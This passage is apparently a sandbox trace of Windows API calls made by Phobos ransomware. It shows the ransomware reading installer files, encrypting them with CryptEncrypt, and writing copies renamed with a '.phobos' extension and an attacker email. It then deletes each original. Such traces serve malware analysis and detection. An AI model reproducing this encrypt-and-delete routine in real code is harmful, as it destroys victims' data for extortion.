"c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.317] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3726) returned 1 [0044.317] CloseHandle (hObject=0x314) returned 1 [0044.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0044.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.317] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.317] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.317] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.317] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.317] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dbf90) returned 1 [0044.317] CryptSetKeyParam (hKey=0x10dbf90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.317] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xe8e, lpOverlapped=0x0) returned 1 [0044.331] CryptEncrypt (in: hKey=0x10dbf90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe90, dwBufLen=0xe90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe90) returned 1 [0044.331] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xe90, lpOverlapped=0x0) returned 1 [0044.332] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dbfd0) returned 1 [0044.332] CryptSetKeyParam (hKey=0x10dbfd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.332] CryptEncrypt (in: hKey=0x10dbfd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0044.332] CryptDestroyKey (hKey=0x10dbfd0) returned 1 [0044.332] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0044.332] CryptDestroyKey (hKey=0x10dbf90) returned 1 [0044.332] CloseHandle (hObject=0x314) returned 1 [0044.332] CloseHandle (hObject=0x320) returned 1 [0044.333] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0044.334] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.334] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.334] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=80970) returned 1 [0044.334] CloseHandle (hObject=0x320) returned 1 [0044.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0044.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.335] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.335] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.335] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.335] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.335] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc110) returned 1 [0044.335] CryptSetKeyParam (hKey=0x10dc110, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.335] ReadFile (in: hFile=0x320, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x13c4a, lpOverlapped=0x0) returned 1 [0044.372] CryptEncrypt (in: hKey=0x10dc110, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13c50, dwBufLen=0x13c50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13c50) returned 1 [0044.373] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13c50, lpOverlapped=0x0) returned 1 [0044.375] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc410) returned 1 [0044.375] CryptSetKeyParam (hKey=0x10dc410, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.375] CryptEncrypt (in: hKey=0x10dc410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0044.375] CryptDestroyKey (hKey=0x10dc410) returned 1 [0044.375] WriteFile (in: hFile=0x314, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0044.375] CryptDestroyKey (hKey=0x10dc110) returned 1 [0044.375] CloseHandle (hObject=0x320) returned 1 [0044.375] CloseHandle (hObject=0x314) returned 1 [0044.376] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0044.378] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.378] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.378] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3419) returned 1 [0044.378] CloseHandle (hObject=0x314) returned 1 [0044.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0044.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.378] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.378] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.378] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0044.378] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.378] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc250) returned 1 [0044.378] CryptSetKeyParam (hKey=0x10dc250, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.378] ReadFile (in: hFile=0x314, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd5b, lpOverlapped=0x0) returned 1 [0044.392] CryptEncrypt (in: hKey=0x10dc250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd60, dwBufLen=0xd60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd60) returned 1 [0044.392] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd60, lpOverlapped=0x0) returned 1 [0044.393] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc290) returned 1 [0044.393] CryptSetKeyParam (hKey=0x10dc290, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0044.393] CryptEncrypt (in: hKey=0x10dc290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0044.393] CryptDestroyKey (hKey=0x10dc290) returned 1 [0044.393] WriteFile (in: hFile=0x320, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0044.393] CryptDestroyKey (hKey=0x10dc250) returned 1 [0044.393] CloseHandle (hObject=0x314) returned 1 [0044.393] CloseHandle (hObject=0x320) returned 1 [0044.394] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0044.395] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0044.395] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.404] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8876) returned 1 [0045.404] CloseHandle (hObject=0x330) returned 1 [0045.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0045.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.404] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.404] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.404] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.404] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.405] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc990) returned 1 [0045.405] CryptSetKeyParam (hKey=0x10dc990, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.405] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x22ac, lpOverlapped=0x0) returned 1 [0045.431] CryptEncrypt (in: hKey=0x10dc990, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x22b0) returned 1 [0045.431] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x22b0, lpOverlapped=0x0) returned 1 [0045.432] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0045.432] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.432] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0045.432] CryptDestroyKey (hKey=0x10dc690) returned 1 [0045.432] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0045.432] CryptDestroyKey (hKey=0x10dc990) returned 1 [0045.432] CloseHandle (hObject=0x330) returned 1 [0045.432] CloseHandle (hObject=0x334) returned 1 [0045.433] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0045.434] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.434] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.434] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=86442) returned 1 [0045.434] CloseHandle (hObject=0x334) returned 1 [0045.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0045.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.435] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.435] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.435] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.435] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.435] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc550) returned 1 [0045.435] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.435] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x151aa, lpOverlapped=0x0) returned 1 [0045.446] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x151b0, dwBufLen=0x151b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x151b0) returned 1 [0045.446] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x151b0, lpOverlapped=0x0) returned 1 [0045.448] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca10) returned 1 [0045.448] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.448] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50, dwBufLen=0x50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x50) returned 1 [0045.448] CryptDestroyKey (hKey=0x10dca10) returned 1 [0045.448] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x102, lpOverlapped=0x0) returned 1 [0045.448] CryptDestroyKey (hKey=0x10dc550) returned 1 [0045.448] CloseHandle (hObject=0x334) returned 1 [0045.448] CloseHandle (hObject=0x330) returned 1 [0045.451] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0045.452] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.452] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.459] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3643) returned 1 [0045.459] CloseHandle (hObject=0x330) returned 1 [0045.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0045.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.459] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0045.459] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.459] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0045.459] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.459] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc5d0) returned 1 [0045.459] CryptSetKeyParam (hKey=0x10dc5d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.459] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xe3b, lpOverlapped=0x0) returned 1 [0045.461] CryptEncrypt (in: hKey=0x10dc5d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe40, dwBufLen=0xe40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xe40) returned 1 [0045.461] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xe40, lpOverlapped=0x0) returned 1 [0045.462] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0045.462] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0045.462] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0045.462] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0045.462] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0045.462] CryptDestroyKey (hKey=0x10dc5d0) returned 1 [0045.462] CloseHandle (hObject=0x330) returned 1 [0045.462] CloseHandle (hObject=0x334) returned 1 [0045.463] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0045.464] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0045.464] CreateFileW 